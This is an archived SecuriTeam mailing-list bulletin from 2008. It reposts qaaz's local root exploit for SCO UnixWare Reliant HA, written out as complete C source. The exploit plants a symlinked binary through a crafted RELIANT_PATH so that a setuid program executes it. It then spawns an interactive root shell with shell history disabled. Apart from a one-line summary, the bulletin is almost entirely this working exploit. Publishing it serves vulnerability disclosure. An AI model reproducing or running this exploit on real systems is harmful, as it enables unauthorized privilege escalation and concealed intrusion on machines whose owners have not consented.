Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [EXPL] SCO UnixWare Reliant HA Local Root (Exploit) |
|---|---|
| Date: | 6 Apr 2008 08:36:37 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - SCO UnixWare Reliant HA Local Root (Exploit) ------------------------------------------------------------------------ SUMMARY A vulnerability in SCO UnixWare's Reliant HA program allows local attackers to overflow an internal buffer in the program causing it to execute arbitrary code. DETAILS Exploit: /* 04/2008: public release * I have'nt seen any advisory on this; possibly still not fixed. * * SCO UnixWare Reliant HA Local Root Exploit * By qaaz */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #define TGT1 "/usr/opt/reliant/bin/hvdisp" #define TGT2 "/usr/opt/reliant/bin/rcvm" #define DIR "bin" #define BIN DIR "/hvenv" int main(int argc, char *argv[]) { char self[4096], *target; pid_t child; if (geteuid() == 0) { setuid(geteuid()); dup2(3, 0); dup2(4, 1); dup2(5, 2); if ((child = fork()) == 0) { putenv("HISTFILE=/dev/null"); execl("/bin/sh", "sh", "-i", NULL); printf("[-] sh: %s\n", strerror(errno)); } else if (child != -1) waitpid(child, NULL, 0); kill(getppid(), 15); return 1; } printf("----------------------------------------\n"); printf(" UnixWare Reliant HA Local Root Exploit\n"); printf(" By qaaz\n"); printf("----------------------------------------\n"); if (access(TGT1, EX_OK) == 0) target = TGT1; else if (access(TGT2, EX_OK) == 0) target = TGT2; else { printf("[-] No targets found\n"); return 1; } sprintf(self, "/proc/%d/object/a.out", getpid()); if (mkdir(DIR, 0777) < 0 && errno != EEXIST) { printf("[-] %s: %s\n", DIR, strerror(errno)); return 1; } if (symlink(self, BIN) < 0) { printf("[-] %s: %s\n", BIN, strerror(errno)); rmdir(DIR); return 1; } if ((child = fork()) == 0) { char path[4096] = "RELIANT_PATH="; dup2(0, 3); dup2(1, 4); dup2(2, 5); putenv(strcat(path, getcwd(NULL, sizeof(path)-14))); execl(target, target, NULL); printf("[-] %s: %s\n", target, strerror(errno)); return 1; } else if (child != -1) waitpid(child, NULL, 0); unlink(BIN); rmdir(DIR); return 0; } // milw0rm.com [2008-04-04] ADDITIONAL INFORMATION The information has been provided by qaaz. The original article can be found at: <http://www.milw0rm.com/exploits/5356> http://www.milw0rm.com/exploits/5356 ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [EXPL] SCO UnixWare Merge mcd Local Root (Exploit), SecuriTeam |
|---|---|
| Next by Date: | [EXPL] SCO UnixWare pkgadd Local Root (Exploit), SecuriTeam |
| Previous by Thread: | [EXPL] SCO UnixWare Merge mcd Local Root (Exploit), SecuriTeam |
| Next by Thread: | [EXPL] SCO UnixWare pkgadd Local Root (Exploit), SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |